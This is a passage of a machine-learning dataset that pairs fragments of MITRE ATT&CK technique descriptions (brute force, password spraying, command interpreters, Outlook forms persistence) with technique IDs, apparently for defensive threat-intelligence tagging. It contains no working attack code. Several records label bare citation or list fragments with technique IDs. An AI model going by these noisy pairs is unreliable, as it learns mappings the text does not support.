sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) ### Response: T1110.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained.", "output": "T1110.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. ### Response: T1110.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option.", "output": "T1110.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. ### Response: T1110.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Further,  adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation:", "output": "T1110.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Further,  adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: ### Response: T1110.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "US-CERT-TA18-106A) \n\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes.", "output": "T1110.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: US-CERT-TA18-106A) \n\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. ### Response: T1110.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking)", "output": "T1110.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) ### Response: T1110.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.", "output": "T1110.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access. ### Response: T1110.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts.", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism.", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords.", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts. ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Cylance Cleaver)", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Cylance Cleaver) ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically, management services over commonly used ports are used when guessing passwords.", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically, management services over commonly used ports are used when guessing passwords. ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commonly targeted services include the following:\n\n* SSH (22/TCP)\n*", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Telnet (23/TCP)\n* FTP (21/TCP)", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Telnet (23/TCP)\n* FTP (21/TCP) ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n*", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n*", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP and 162/TCP/UDP)", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP and 162/TCP/UDP) ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018).", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation:", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Trend Micro Emotet 2020)", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Trend Micro Emotet 2020) ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625. ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials.", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain.", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords.", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: BlackHillsInfosec", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: BlackHillsInfosec ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Password Spraying)", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Password Spraying) ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically, management services over commonly used ports are used when password spraying.", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically, management services over commonly used ports are used when password spraying. ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commonly targeted services include the following:\n\n* SSH (22/TCP)\n*", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Telnet (23/TCP)\n* FTP (21/TCP)", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Telnet (23/TCP)\n* FTP (21/TCP) ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n*", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n*", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP) ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625. ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Brute forcing credentials may take place at various points during a breach.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Brute forcing credentials may take place at various points during a breach. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201).", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005). ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Powershell Remote Commands)(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Powershell Remote Commands)(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cisco IOS Software Integrity Assurance - Command History)(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cisco IOS Software Integrity Assurance - Command History)(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote Shell Execution in Python)", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote Shell Execution in Python) ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Unix shell commands and scripts for execution.", "output": "T1059.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Unix shell commands and scripts for execution. ### Response: T1059.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.)", "output": "T1059.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) ### Response: T1059.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell)", "output": "T1059.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) ### Response: T1059.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.", "output": "T1059.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unix shells can control every aspect of a system, with certain commands requiring elevated privileges. ### Response: T1059.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops.", "output": "T1059.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. ### Response: T1059.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.", "output": "T1059.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems. ### Response: T1059.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Unix shells to execute various commands or payloads.", "output": "T1059.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Unix shells to execute various commands or payloads. ### Response: T1059.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004).", "output": "T1059.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). ### Response: T1059.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.", "output": "T1059.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence. ### Response: T1059.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage Microsoft Office-based applications for persistence between startups.", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage Microsoft Office-based applications for persistence between startups. ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network.", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins. ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation:", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SensePost Ruler GitHub)", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SensePost Ruler GitHub) ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These persistence mechanisms can work within Outlook or be used through Office 365.(Citation:", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TechNet O365 Outlook Rules)", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TechNet O365 Outlook Rules) ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system.", "output": "T1137.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. ### Response: T1137.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Outlook forms are used as templates for presentation and functionality in Outlook messages.", "output": "T1137.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Outlook forms are used as templates for presentation and functionality in Outlook messages. ### Response: T1137.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation:", "output": "T1137.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: ### Response: T1137.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SensePost Outlook Forms)", "output": "T1137.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SensePost Outlook Forms) ### Response: T1137.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once malicious forms have been added to the user\u2019s mailbox, they will be loaded when Outlook is started.", "output": "T1137.003", 